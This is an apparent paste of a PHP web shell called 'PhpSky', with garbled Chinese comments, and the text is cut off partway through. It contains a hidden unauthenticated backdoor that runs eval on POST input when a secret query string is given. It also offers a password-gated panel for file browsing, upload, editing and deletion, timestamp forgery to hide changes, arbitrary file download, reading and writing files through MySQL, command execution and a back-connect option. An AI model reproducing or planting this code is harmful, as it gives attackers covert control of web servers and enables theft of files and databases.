· 10 years ago · Jan 15, 2016, 08:21 PM
1
2<html>
3<body>
4
5error_reporting(7);
6@set_magic_quotes_runtime(0);
7ob_start();
8
9if($_SERVER["QUERY_STRING"]=='hgmsky')
10{
11 @eval($_POST['hgmsky']);
12 exit;
13}
14
15$mtime = explode(' ', microtime());
16$starttime = $mtime[1] + $mtime[0];
17define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
18define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
19define('IS_COM', class_exists('COM') ? 1 : 0 );
20define('IS_GPC', get_magic_quotes_gpc());
21$dis_func = get_cfg_var('disable_functions');
22define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
23@set_time_limit(0);
24
25foreach(array('_GET','_POST') as $_request) {
26 foreach($$_request as $_key => $_value) {
27 if ($_key{0} != '_') {
28 if (IS_GPC) {
29 $_value = s_array($_value);
30 }
31 $$_key = $_value;
32 }
33 }
34}
35/*===================== 锟斤拷锟斤拷锟斤拷锟斤拷 =====================*/
36$admin = array();
37// 锟角凤拷锟斤拷è¦é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·è¯, true 为锟斤拷è¦é”Ÿæ–¤æ‹·è¯, false 为直锟接斤拷锟斤拷.锟斤拷锟斤拷选锟斤拷锟斤拷锟斤拷效
38$admin['check'] = true;
39// 锟斤拷锟斤拷锟斤拷è¦é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·è¯,é”Ÿæ–¤æ‹·é”Ÿç«æ”¹ç¢‰æ‹·é™†é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·
40$admin['pass'] = '464db00c8fa3474b16e1d1f8909919e0'; //!@#
41
42//锟斤拷锟斤拷锟斤拷 cookie 锟斤拷锟矫凤拷围锟斤拷锟斤拷锟斤拷è¦é”Ÿæ–¤æ‹·, 锟斤拷锟斤拷录锟斤拷锟斤拷锟斤拷, 锟斤拷锟ç«é©æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·, 锟斤拷锟斤拷锟诫ä¿é”Ÿæ–¤æ‹·é»˜é”Ÿæ–¤æ‹·
43// cookie å‰ç¼€
44$admin['cookiepre'] = '';
45// cookie 锟斤拷锟斤拷锟斤拷
46$admin['cookiedomain'] = '';
47// cookie 锟斤拷锟斤拷路锟斤拷
48$admin['cookiepath'] = '/';
49// cookie 锟斤拷效锟斤拷
50$admin['cookielife'] = 8640000;
51/*===================== 锟斤拷锟矫斤拷锟斤拷 =====================*/
52
53$charsetdb = array(
54 'utf8',
55 'armscii8',
56 'ascii',
57 'big5',
58 'binary',
59 'cp1250',
60 'cp1251',
61 'cp1256',
62 'cp1257',
63 'cp850',
64 'cp852',
65 'cp866',
66 'cp932',
67 'dec8',
68 'eucjpms',
69 'euckr',
70 'gb2312',
71 'gbk',
72 'geostd8',
73 'greek',
74 'hebrew',
75 'hp8',
76 'keybcs2',
77 'koi8r',
78 'koi8u',
79 'latin1',
80 'latin2',
81 'latin5',
82 'latin7',
83 'macce',
84 'macroman',
85 'sjis',
86 'swe7',
87 'tis620',
88 'ucs2',
89 'ujis'
90);
91if ($charset == 'utf8') {
92 header("content-Type: text/html; charset=utf-8");
93} elseif ($charset == 'big5') {
94 header("content-Type: text/html; charset=big5");
95} elseif ($charset == 'gbk') {
96 header("content-Type: text/html; charset=gbk");
97} elseif ($charset == 'latin1') {
98 header("content-Type: text/html; charset=iso-8859-2");
99} elseif ($charset == 'euckr') {
100 header("content-Type: text/html; charset=euc-kr");
101} elseif ($charset == 'eucjpms') {
102 header("content-Type: text/html; charset=euc-jp");
103}
104
105$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
106$self=rtrim($self,"/");
107$timestamp = time();
108
109/*===================== é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·è¯ =====================*/
110if ($action == "logout") {
111 scookie('hgmshellpass', '', -86400 * 365);
112 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
113 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
114 exit;
115}
116$password = $_POST["password"];
117if($admin['check']) {
118 if ($doing == 'login') {
119 if ($admin['pass'] == md5($password)) {
120 scookie('hgmshellpass', md5($password));
121 p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
122 p('<a style="font:12px Verdana" href="'.$self.'">Success</a>');
123 exit;
124 }
125 }
126 if ($_COOKIE['hgmshellpass']) {
127 if ($_COOKIE['hgmshellpass'] != $admin['pass']) {
128 echo 'aaaaa';
129
130 loginpage();
131
132 }
133 } else {
134 loginpage();
135 }
136}
137/*===================== 锟斤拷è¯é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹· =====================*/
138
139$errmsg = '';
140
141// 锟介看PHPINFO
142if ($action == 'phpinfo') {
143 if (IS_PHPINFO) {
144 phpinfo();
145 exit;
146 } else {
147 $errmsg = 'phpinfo() function has non-permissible';
148 }
149}
150
151// 锟斤拷锟斤拷锟侥硷拷
152if ($doing == 'downfile' && $thefile) {
153 if (!@file_exists($thefile)) {
154 $errmsg = 'The file you want Downloadable was nonexistent';
155 } else {
156 $fileinfo = pathinfo($thefile);
157 header('Content-type: application/x-'.$fileinfo['extension']);
158 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
159 header('Content-Length: '.filesize($thefile));
160 @readfile($thefile);
161 exit;
162 }
163}
164
165// 直锟斤拷锟斤拷锟截憋拷锟斤拷锟斤拷锟æ·åŒ¡æ‹·
166if ($doing == 'backupmysql' && !$saveasfile) {
167 mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
168 $table = array_flip($table);
169 $result = q("SHOW tables");
170 if (!$result) p('<h2>'.mysql_error().'</h2>');
171 $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
172 header('Content-type: application/unknown');
173 header('Content-Disposition: attachment; filename='.$filename);
174 $mysqldata = '';
175 while ($currow = mysql_fetch_array($result)) {
176 if (isset($table[$currow[0]])) {
177 $mysqldata .= sqldumptable($currow[0]);
178 }
179 }
180 mysql_close();
181 exit;
182}
183
184// 通锟斤拷MYSQL锟斤拷锟斤拷锟侥硷拷
185if($doing=='mysqldown'){
186 if (!$dbname) {
187 $errmsg = 'Please input dbname';
188 } else {
189 mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
190 if (!file_exists($mysqldlfile)) {
191 $errmsg = 'The file you want Downloadable was nonexistent';
192 } else {
193 $result = q("select load_file('$mysqldlfile');");
194 if(!$result){
195 q("DROP TABLE IF EXISTS tmp_angel;");
196 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
197 //锟斤拷时锟斤拷锟斤拷锟斤拷锟斤拷示锟截讹拷,锟斤拷锟斤拷锟斤拷锟街讹拷å–锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷__angel_1111111111_eof__锟斤拷锟侥硷拷时锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷锟斤拷
198 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
199 $result = q("select content from tmp_angel");
200 q("DROP TABLE tmp_angel");
201 }
202 $row = @mysql_fetch_array($result);
203 if (!$row) {
204 $errmsg = 'Load file failed '.mysql_error();
205 } else {
206 $fileinfo = pathinfo($mysqldlfile);
207 header('Content-type: application/x-'.$fileinfo['extension']);
208 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
209 header("Accept-Length: ".strlen($row[0]));
210 echo $row[0];
211 exit;
212 }
213 }
214 }
215}
216
217?>
218<html>
219<head>
220<meta http-equiv="Content-Type" content="text/html; charset=gbk">
221<title><?php echo str_replace('.','','P..h..p.S.k.y');?></title>
222<style type="text/css">
223body,td{font: 12px Arial,Tahoma;line-height: 16px;}
224.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
225.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
226.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
227a {color: #00f;text-decoration:underline;}
228a:hover{color: #f00;text-decoration:none;}
229.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
230.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
231.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
232.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
233.head td span{font-weight:normal;}
234form{margin:0;padding:0;}
235h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
236ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
237u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
238</style>
239<script type="text/javascript">
240function CheckAll(form) {
241 for(var i=0;i<form.elements.length;i++) {
242 var e = form.elements[i];
243 if (e.name != 'chkall')
244 e.checked = form.chkall.checked;
245 }
246}
247function $(id) {
248 return document.getElementById(id);
249}
250function goaction(act){
251 $('goaction').action.value=act;
252 $('goaction').submit();
253}
254</script>
255</head>
256<body style="margin:0;table-layout:fixed; word-break:break-all">
257<table width="100%" border="0" cellpadding="0" cellspacing="0">
258 <tr class="head">
259 <td><span style="float:right;"><a href="http://www.hgm.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.k.y');?> Ver: 2009 Build 20081222</a></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>
260 </tr>
261 <tr class="alt1">
262 <td><span style="float:right;">Safe Mode:<?php echo getcfg('safe_mode');?></span>
263 <a href="javascript:goaction('logout');">Logout</a> |
264 <a href="javascript:goaction('file');">File Manager</a> |
265 <a href="javascript:goaction('mysqladmin');">MYSQL Manager</a> |
266 <a href="javascript:goaction('sqlfile');">MySQL Upload & Download</a> |
267 <a href="javascript:goaction('shell');">Execute Command</a> |
268 <a href="javascript:goaction('phpenv');">PHP Variable</a> |
269 <a href="javascript:goaction('eval');">Eval PHP Code</a>
270 <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
271 </td>
272 </tr>
273</table>
274<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
275<?php
276
277formhead(array('name'=>'goaction'));
278makehide('action');
279formfoot();
280
281$errmsg && m($errmsg);
282
283// 锟斤拷å–锟斤拷å‰è·¯é”Ÿæ–¤æ‹·
284if (!$dir) {
285 if ($_SERVER["DOCUMENT_ROOT"]) {
286 $dir = $_SERVER["DOCUMENT_ROOT"];
287 } else {
288 $dir = '.';
289 }
290}
291
292$nowpath = getPath(SA_ROOT, $dir);
293if (substr($dir, -1) != '/') {
294 $dir = $dir.'/';
295}
296$uedir = ue($dir);
297
298if (!$action || $action == 'file') {
299
300 // é”Ÿå«æ–讹拷写锟斤拷锟斤拷
301 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
302
303 // åˆ é”Ÿæ–¤æ‹·ç›®å½•
304 if ($doing == 'deldir' && $thefile) {
305 if (!file_exists($thefile)) {
306 m($thefile.' directory does not exist');
307 } else {
308 m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
309 }
310 }
311
312 // 锟斤拷锟斤拷目录
313 elseif ($newdirname) {
314 $mkdirs = $nowpath.$newdirname;
315 if (file_exists($mkdirs)) {
316 m('Directory has already existed');
317 } else {
318 m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
319 @chmod($mkdirs,0777);
320 }
321 }
322
323 // 锟较达拷锟侥硷拷
324 elseif ($doupfile) {
325 m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
326 }
327
328 // 锟æ´è¾‘锟侥硷拷
329 elseif ($editfilename && $filecontent) {
330 $fmtime = @filemtime($editfilename);
331 $fp = @fopen($editfilename,'w');
332 $msg = 'Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed').'<br/>';
333 @fclose($fp);
334 if($iskeepmtime==true)
335 {
336 $msg .= 'Modify file the last modified '.(@touch($editfilename,$fmtime,$fmtime) ? 'success' : 'failed');
337 }
338 m($msg);
339
340 }
341
342 // 锟æ´è¾‘锟侥硷拷锟斤拷锟斤拷
343 elseif ($pfile && $newperm) {
344 if (!file_exists($pfile)) {
345 m('The original file does not exist');
346 } else {
347 $newperm = base_convert($newperm,8,10);
348 m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
349 }
350 }
351
352 // 锟斤拷锟斤拷
353 elseif ($oldname && $newfilename) {
354 $nname = $nowpath.$newfilename;
355 if (file_exists($nname) || !file_exists($oldname)) {
356 m($nname.' has already existed or original file does not exist');
357 } else {
358 m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
359 }
360 }
361
362 // 锟斤拷锟斤拷锟侥硷拷
363 elseif ($sname && $tofile) {
364 if (file_exists($tofile) || !file_exists($sname)) {
365 m('The goal file has already existed or original file does not exist');
366 } else {
367 m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
368 }
369 }
370
371 // 锟斤拷隆时锟斤拷
372 elseif ($curfile && $tarfile) {
373 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
374 m('The goal file has already existed or original file does not exist');
375 } else {
376 $time = @filemtime($tarfile);
377 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
378 }
379 }
380
381 // 锟皆讹拷锟斤拷时锟斤拷
382 elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
383 if (!@file_exists($curfile)) {
384 m(basename($curfile).' does not exist');
385 } else {
386 $time = strtotime("$year-$month-$day $hour:$minute:$second");
387 m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
388 }
389 }
390
391 // 锟斤拷锟斤拷锟斤拷锟斤拷
392 elseif($doing == 'downrar') {
393 if ($dl) {
394 $dfiles='';
395 foreach ($dl as $filepath => $value) {
396 $dfiles.=$filepath.',';
397 }
398 $dfiles=substr($dfiles,0,strlen($dfiles)-1);
399 $dl=explode(',',$dfiles);
400 if(count($dl)==1&&is_dir($dl[0])) // 锟å«è®¹æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é€‰é”Ÿè„šè¾¾æ‹·é”Ÿæ–¤æ‹·1锟斤拷目录
401 {
402 $zip = New PHPZip1;
403 $zip->ZipDir($dl[0],'package',1);
404 }
405 else
406 {
407 $zip = New PHPZip1;
408 $zip->ZipFile($dl,'package',1);
409 }
410 exit;
411 //$zip=new PHPZip($dl);
412 //$code=$zip->out;
413 //header('Content-type: application/octet-stream');
414 //header('Accept-Ranges: bytes');
415 //header('Accept-Length: '.strlen($code));
416 //header('Content-Disposition: //attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
417 //echo $code;
418 //exit;
419 } else {
420 m('Please select file(s)');
421 }
422 }
423
424 // é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·åˆ é”Ÿæ–¤æ‹·é”Ÿä¾¥ç¡·æ‹·
425 elseif($doing == 'delfiles') {
426 if ($dl) {
427 $dfiles='';
428 $succ = $fail = 0;
429 foreach ($dl as $filepath => $value) {
430 @chmod($filepath,0666);
431 if(is_dir($filepath)) //锟å«è®¹æ‹·é”Ÿæ–¤æ‹·é”Ÿä¾¥ç¡·æ‹·é”Ÿå«æ’…æ‹·åˆ é”Ÿæ–¤æ‹·é”Ÿä¾¥ç¡·æ‹·é”Ÿæ–¤æ‹·
432 {
433 if(deltree($filepath))
434 {
435 $succ++;
436 }
437 else
438 {
439 $fail++;
440 }
441 }
442 else
443 {
444 if (@unlink($filepath)) {
445 $succ++;
446 } else {
447 $fail++;
448 }
449 }
450 }
451 m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
452 } else {
453 m('Please select file(s)');
454 }
455 }
456
457 //锟斤拷锟斤拷锟斤拷锟斤拷
458 formhead(array('name'=>'createdir'));
459 makehide('newdirname');
460 makehide('dir',$nowpath);
461 formfoot();
462 formhead(array('name'=>'fileperm'));
463 makehide('newperm');
464 makehide('pfile');
465 makehide('dir',$nowpath);
466 formfoot();
467 formhead(array('name'=>'copyfile'));
468 makehide('sname');
469 makehide('tofile');
470 makehide('dir',$nowpath);
471 formfoot();
472 formhead(array('name'=>'rename'));
473 makehide('oldname');
474 makehide('newfilename');
475 makehide('dir',$nowpath);
476 formfoot();
477 formhead(array('name'=>'fileopform', 'target'=>'_blank'));
478 makehide('action');
479 makehide('opfile');
480 makehide('dir');
481 formfoot();
482 formhead(array('name'=>'getsize'));
483 makehide('getdir');
484 makehide('dir');
485 formfoot();
486
487 $free = @disk_free_space($nowpath);
488 !$free && $free = 0;
489 $all = @disk_total_space($nowpath);
490 !$all && $all = 0;
491 $used = $all-$free;
492 $used_percent = @round(100/($all/$free),2);
493 p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
494
495?>
496<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
497 <form action="<?php echo $self;?>" method="post" id="godir" name="godir">
498 <tr>
499 <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
500 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
501 <td nowrap><input class="bt" value="GO" type="submit"></td>
502 </tr>
503 </form>
504</table>
505<script type="text/javascript">
506function createdir(){
507 var newdirname;
508 newdirname = prompt('Please input the directory name:', '');
509 if (!newdirname) return;
510 $('createdir').newdirname.value=newdirname;
511 $('createdir').submit();
512}
513function fileperm(pfile){
514 var newperm;
515 newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
516 if (!newperm) return;
517 $('fileperm').newperm.value=newperm;
518 $('fileperm').pfile.value=pfile;
519 $('fileperm').submit();
520}
521function copyfile(sname){
522 var tofile;
523 tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
524 if (!tofile) return;
525 $('copyfile').tofile.value=tofile;
526 $('copyfile').sname.value=sname;
527 $('copyfile').submit();
528}
529function rename(oldname){
530 var newfilename;
531 newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
532 if (!newfilename) return;
533 $('rename').newfilename.value=newfilename;
534 $('rename').oldname.value=oldname;
535 $('rename').submit();
536}
537function dofile(doing,thefile,m){
538 if (m && !confirm(m)) {
539 return;
540 }
541 $('filelist').doing.value=doing;
542 if (thefile){
543 $('filelist').thefile.value=thefile;
544 }
545 $('filelist').submit();
546}
547function createfile(nowpath){
548 var filename;
549 filename = prompt('Please input the file name:', '');
550 if (!filename) return;
551 opfile('editfile',nowpath + filename,nowpath);
552}
553function opfile(action,opfile,dir){
554 $('fileopform').action.value=action;
555 $('fileopform').opfile.value=opfile;
556 $('fileopform').dir.value=dir;
557 $('fileopform').submit();
558}
559function godir(dir,view_writable){
560 if (view_writable) {
561 $('godir').view_writable.value=view_writable;
562 }
563 $('godir').dir.value=dir;
564 $('godir').submit();
565}
566function getsize(getdir,dir){
567 $('getsize').getdir.value=getdir;
568 $('getsize').dir.value=dir;
569 $('getsize').submit();
570}
571</script>
572 <?php
573
574 $findstr = $_POST['findstr'];
575 $re = $_POST['re'];
576 $writabledb=strtolower($_POST['writabledb']);
577
578 tbhead();
579 p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');
580 p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div></form>');
581 p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
582 p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>');
583 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
584 p(' | View Writable ( <a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directory</a>');
585 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">File</a> )');
586 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
587 if (IS_WIN && IS_COM) {
588 $obj = new COM('scripting.filesystemobject');
589 if ($obj && is_object($obj) && is_array($obj->Drives)) {
590 $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
591 foreach($obj->Drives as $drive) {
592 if ($drive->DriveType == 2) {
593 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).' Free:'.sizecount($drive->FreeSpace).' Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
594 } else {
595 p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
596 }
597 }
598 }
599 }
600
601 p('<br /><form action="'.$self.'" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="'.strtolower($_POST['writabledb']).'" type="text" /> eq: php,cgi,pl,asp,inc,js,html,htm,jsp <input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Regular expressions</form></td></tr>');
602
603 p('<tr class="head"><td> </td><td>Filename</td><td width="12%">Create Time</td><td width="12%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
604
605 //锟介看锟斤拷锟å«åŒ¡æ‹·å†™é”Ÿä¾¥ç¡·æ‹·é”Ÿæ–¤æ‹·ç›®å½•
606 $dirdata=array();
607 $filedata=array();
608
609 if ($view_writable == 'dir') {
610 $dirdata = GetWDirList($nowpath);
611 $filedata = array();
612 } elseif ($view_writable == 'file') {
613 $dirdata = array();
614 $filedata = GetWFileList($nowpath);
615 } elseif ($findstr) {
616 $dirdata = array();
617 $filedata = GetSFileList($nowpath, $findstr, $re);
618 } else {
619 // ç›®å½•é”Ÿå«æ†‹æ‹·
620 $dirs=@opendir($dir);
621 while ($file=@readdir($dirs)) {
622 $filepath=$nowpath.$file;
623 if(@is_dir($filepath)){
624 $dirdb['filename']=$file;
625 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
626 $dirdb['ctime']=@date('Y-m-d H:i:s',filectime($filepath));
627 $dirdb['dirchmod']=getChmod($filepath);
628 $dirdb['dirperm']=getPerms($filepath);
629 $dirdb['fileowner']=getUser($filepath);
630 $dirdb['dirlink']=$nowpath;
631 $dirdb['server_link']=$filepath;
632 $dirdb['client_link']=ue($filepath);
633 $dirdata[]=$dirdb;
634 } else {
635 $filedb['filename']=$file;
636 $filedb['size']=sizecount(@filesize($filepath));
637 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
638 $filedb['ctime']=@date('Y-m-d H:i:s',filectime($filepath));
639 $filedb['filechmod']=getChmod($filepath);
640 $filedb['fileperm']=getPerms($filepath);
641 $filedb['fileowner']=getUser($filepath);
642 $filedb['dirlink']=$nowpath;
643 $filedb['server_link']=$filepath;
644 $filedb['client_link']=ue($filepath);
645 $filedata[]=$filedb;
646 }
647 }// while
648 unset($dirdb);
649 unset($filedb);
650 @closedir($dirs);
651 }
652 @sort($dirdata);
653 @sort($filedata);
654 $dir_i = '0';
655 p('<form id="filelist" name="filelist" action="'.$self.'" method="post">'); //锟斤拷form锟斤拷锟斤拷锟侥硷拷锟斤拷
656 foreach($dirdata as $key => $dirdb){
657 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
658 if($getdir && $getdir == $dirdb['server_link']) {
659 $attachsize = dirsize($dirdb['server_link']);
660 $attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';
661 } else {
662 $attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Stat</a>';
663 }
664 $thisbg = bg();
665 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
666 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$dirdb['server_link'].']"><font face="wingdings" size="3">0</font></td>');
667 p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
668 p('<td nowrap>'.$dirdb['ctime'].'</td>');
669 p('<td nowrap>'.$dirdb['mtime'].'</td>');
670 p('<td nowrap>'.$attachsize.'</td>');
671 p('<td nowrap>');
672 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
673 p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
674 p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete <'.$dirdb['filename'].'>? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a>');
675 p('<a href="javascript:opfile(\'newtime\',\''.$dirdb['server_link'].'\',\''.$dirdb['dirlink'].'\');">Time</a></td>'); //锟斤拷锟斤拷锟侥硷拷锟斤拷锟ç«é©æ‹·é”Ÿæ–¤æ‹·é”Ÿæ–¤æ‹·é”Ÿç«é©æ‹·æ—¶é”Ÿæ–¤æ‹·
676 p('</tr>');
677 $dir_i++;
678 } else {
679 if($dirdb['filename']=='..') {
680 p('<tr class='.bg().'>');
681 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="6"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
682 p('</tr>');
683 }
684 }
685 }
686
687 p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="7" height="5"></td></tr>');
688
689 makehide('action','file');
690 makehide('thefile');
691 makehide('doing');
692 makehide('dir',$nowpath);
693 $file_i = '0';
694
695 foreach($filedata as $key => $filedb){
696 if($filedb['filename']!='..' && $filedb['filename']!='.') {
697 $fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']);
698 $thisbg = bg();
699 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
700 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
701 p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
702 p('<td nowrap>'.$filedb['ctime'].'</td>');
703 p('<td nowrap>'.$filedb['mtime'].'</td>');
704 p('<td nowrap>'.$filedb['size'].'</td>');
705 p('<td nowrap>');
706 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
707 p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
708 p('<td nowrap>');
709 p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
710 p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
711 p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
712 p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
713 p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
714 p('</td></tr>');
715 $file_i++;
716 }
717 }
718 p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="5" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
719 p('</form></table>');
720}// end dir
721
722elseif ($action == 'sqlfile') {
723 if($doing=="mysqlupload"){
724 $file = $_FILES['uploadfile'];
725 $filename = $file['tmp_name'];
726 if (file_exists($savepath)) {
727 m('The goal file has already existed');
728 } else {
729 if(!$filename) {
730 m('Please choose a file');
731 } else {
732 $fp=@fopen($filename,'r');
733 $contents=@fread($fp, filesize($filename));
734 @fclose($fp);
735 $contents = bin2hex($contents);
736 if(!$upname) $upname = $file['name'];
737 mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
738 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
739 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
740 }
741 }
742 }
743?>
744<script type="text/javascript">
745function mysqlfile(doing){
746 if(!doing) return;
747 $('doing').value=doing;
